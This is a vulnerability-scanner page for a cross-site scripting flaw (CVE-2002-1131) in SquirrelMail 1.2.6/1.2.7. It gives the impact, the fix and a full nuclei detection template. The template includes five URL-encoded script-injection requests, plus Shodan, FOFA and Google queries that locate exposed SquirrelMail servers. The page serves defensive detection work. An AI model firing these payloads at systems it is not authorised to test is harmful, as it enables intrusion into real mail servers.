SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting

highseverity

7.5CVSS score

25.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.

Fix

Upgrade to a patched version of SquirrelMail or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search ; GET {{BaseURL}}/src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search ; GET {{BaseURL}}/src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains(body, "</script><script>alert(document.domain)</script>") and contains(tolower(body), "squirrelmail") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2002-1131 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2002-1131

info:
  name: SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting
  author: dhiyaneshDk,s4e-io
  severity: high
  description: The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to a patched version of SquirrelMail or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - http://www.redhat.com/support/errata/RHSA-2002-204.html
    - http://www.debian.org/security/2002/dsa-191
    - http://sourceforge.net/project/shownotes.php?group_id=311&release_id=110774
    - https://www.exploit-db.com/exploits/21811
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2002-1131
    cwe-id: CWE-80
    epss-score: 0.25754
    epss-percentile: 0.97985
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    vendor: squirrelmail
    product: squirrelmail
    shodan-query:
      - http.title:"squirrelmail"
      - cpe:"cpe:2.3:a:squirrelmail:squirrelmail"
    fofa-query: title="squirrelmail"
    google-query: intitle:"squirrelmail"
  tags: cve,cve2002,edb,xss,squirrelmail,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search'
      - '{{BaseURL}}/src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search'
      - '{{BaseURL}}/src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "</script><script>alert(document.domain)</script>")'
          - 'contains(tolower(body), "squirrelmail")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from